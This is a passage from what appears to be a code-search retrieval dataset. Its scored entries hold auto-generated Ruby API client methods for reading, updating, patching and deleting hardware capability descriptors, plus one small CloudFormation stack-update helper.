CapabilityApi.update_capability_chassis_descriptor\"\n end\n # verify the required parameter 'capability_chassis_descriptor' is set\n if @api_client.config.client_side_validation && capability_chassis_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_chassis_descriptor' when calling CapabilityApi.update_capability_chassis_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ChassisDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_chassis_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityChassisDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_chassis_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_chassis_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "979d5839ab9058e10c53bdba7755037c", "score": "0.54604757", "text": "def get_capability_sioc_module_capability_def_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_sioc_module_capability_def_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleCapabilityDefResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_sioc_module_capability_def_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_sioc_module_capability_def_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "9c7eafaad08abe306343738433cffc87", "score": "0.54274607", "text": "def update_capability_switch_manufacturing_def_with_http_info(moid, capability_switch_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_switch_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_switch_manufacturing_def\"\n end\n # verify the required parameter 'capability_switch_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_switch_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_manufacturing_def' when calling CapabilityApi.update_capability_switch_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_switch_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_switch_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a839e2abc2819672eecf49231dadc84c", "score": "0.540902", "text": "def patch_capability_io_card_capability_def_with_http_info(moid, capability_io_card_capability_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_io_card_capability_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_io_card_capability_def\"\n end\n # verify the required parameter 'capability_io_card_capability_def' is set\n if @api_client.config.client_side_validation && capability_io_card_capability_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_capability_def' when calling CapabilityApi.patch_capability_io_card_capability_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_io_card_capability_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityIoCardCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_io_card_capability_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_io_card_capability_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "67be4d7f45ea59ae0d728e1cb15f2604", "score": "0.53700703", "text": "def update(resource_name)\n res = read_resource(resource_name)\n cf_client.update_stack(\n stack_name: res['name'], capabilities: res['capabilities'],\n template_body: read_template(res['template']),\n tags: res['tags'], parameters: res['parameters']\n )\n wait_until(:stack_update_complete, resource['name'])\n rescue Aws::CloudFormation::Errors::ValidationError => e\n puts e.message\n end", "title": "" }, { "docid": "d8f18737f40a84a31cce2ff5e303f22d", "score": "0.5366346", "text": "def patch_capability_psu_descriptor_with_http_info(moid, capability_psu_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_psu_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_psu_descriptor\"\n end\n # verify the required parameter 'capability_psu_descriptor' is set\n if @api_client.config.client_side_validation && capability_psu_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_psu_descriptor' when calling CapabilityApi.patch_capability_psu_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/PsuDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_psu_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityPsuDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_psu_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_psu_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a20b1e34777075fc50321387312ddbda", "score": "0.53144443", "text": "def update_capability_fan_module_manufacturing_def_with_http_info(moid, capability_fan_module_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_fan_module_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_fan_module_manufacturing_def\"\n end\n # verify the required parameter 'capability_fan_module_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_fan_module_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_fan_module_manufacturing_def' when calling CapabilityApi.update_capability_fan_module_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/FanModuleManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_fan_module_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityFanModuleManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_fan_module_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_fan_module_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "20148dc271919a6d19c257ac8ba9a082", "score": "0.53095156", "text": "def get_capability_sioc_module_descriptor_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_sioc_module_descriptor_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.get_capability_sioc_module_descriptor_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_sioc_module_descriptor_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_sioc_module_descriptor_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "8c4d6da3d25d7904aceb87e769073ab0", "score": "0.5305035", "text": "def update_capability_fan_module_descriptor_with_http_info(moid, capability_fan_module_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_fan_module_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_fan_module_descriptor\"\n end\n # verify the required parameter 'capability_fan_module_descriptor' is set\n if @api_client.config.client_side_validation && capability_fan_module_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_fan_module_descriptor' when calling CapabilityApi.update_capability_fan_module_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/FanModuleDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_fan_module_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityFanModuleDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_fan_module_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_fan_module_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "d70e96e6414b62fbcecf3a1b1677218c", "score": "0.52911776", "text": "def get_capability_sioc_module_capability_def_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.get_capability_sioc_module_capability_def_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.get_capability_sioc_module_capability_def_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleCapabilityDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySiocModuleCapabilityDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.get_capability_sioc_module_capability_def_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#get_capability_sioc_module_capability_def_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0450ba17512f8f72bb15e4b3f94d5206", "score": "0.5259877", "text": "def delete_capability_sioc_module_manufacturing_def_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.delete_capability_sioc_module_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.delete_capability_sioc_module_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SiocModuleManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type]\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.delete_capability_sioc_module_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#delete_capability_sioc_module_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "0beee19b23faab4e79b89051767ab4ce", "score": "0.52597994", "text": "def update_capability_io_card_descriptor(moid, capability_io_card_descriptor, opts = {})\n data, _status_code, _headers = update_capability_io_card_descriptor_with_http_info(moid, capability_io_card_descriptor, opts)\n data\n end", "title": "" }, { "docid": "a60fdf7304e3824df45b84205ae59b34", "score": "0.5257666", "text": "def patch_capability_psu_manufacturing_def_with_http_info(moid, capability_psu_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_psu_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_psu_manufacturing_def\"\n end\n # verify the required parameter 'capability_psu_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_psu_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_psu_manufacturing_def' when calling CapabilityApi.patch_capability_psu_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/PsuManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_psu_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityPsuManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_psu_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_psu_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a1de31738672a1173189503aead403bb", "score": "0.52433735", "text": "def update_capability_switch_descriptor_with_http_info(moid, capability_switch_descriptor, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.update_capability_switch_descriptor ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.update_capability_switch_descriptor\"\n end\n # verify the required parameter 'capability_switch_descriptor' is set\n if @api_client.config.client_side_validation && capability_switch_descriptor.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_switch_descriptor' when calling CapabilityApi.update_capability_switch_descriptor\"\n end\n # resource path\n local_var_path = '/api/v1/capability/SwitchDescriptors/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_switch_descriptor)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilitySwitchDescriptor'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.update_capability_switch_descriptor\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#update_capability_switch_descriptor\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "ff1855cf025c2aa2e59a1ddf78aadfa5", "score": "0.5241156", "text": "def patch_capability_chassis_manufacturing_def_with_http_info(moid, capability_chassis_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_chassis_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_chassis_manufacturing_def\"\n end\n # verify the required parameter 'capability_chassis_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_chassis_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_chassis_manufacturing_def' when calling CapabilityApi.patch_capability_chassis_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/ChassisManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(capability_chassis_manufacturing_def)\n\n # return_type\n return_type = opts[:debug_return_type] || 'CapabilityChassisManufacturingDef'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"CapabilityApi.patch_capability_chassis_manufacturing_def\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CapabilityApi#patch_capability_chassis_manufacturing_def\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "f4cede2d4edc7bd261936384d2c2f306", "score": "0.52392465", "text": "def update_capability_cimc_firmware_descriptor(moid, capability_cimc_firmware_descriptor, opts = {})\n data, _status_code, _headers = update_capability_cimc_firmware_descriptor_with_http_info(moid, capability_cimc_firmware_descriptor, opts)\n data\n end", "title": "" }, { "docid": "aa08191f6115043691b9cad9e550e6ee", "score": "0.5224568", "text": "def patch_capability_io_card_manufacturing_def_with_http_info(moid, capability_io_card_manufacturing_def, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: CapabilityApi.patch_capability_io_card_manufacturing_def ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling CapabilityApi.patch_capability_io_card_manufacturing_def\"\n end\n # verify the required parameter 'capability_io_card_manufacturing_def' is set\n if @api_client.config.client_side_validation && capability_io_card_manufacturing_def.nil?\n fail ArgumentError, \"Missing the required parameter 'capability_io_card_manufacturing_def' when calling CapabilityApi.patch_capability_io_card_manufacturing_def\"\n end\n # resource path\n local_var_path = '/api/v1/capability/IoCardManufacturingDefs/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n 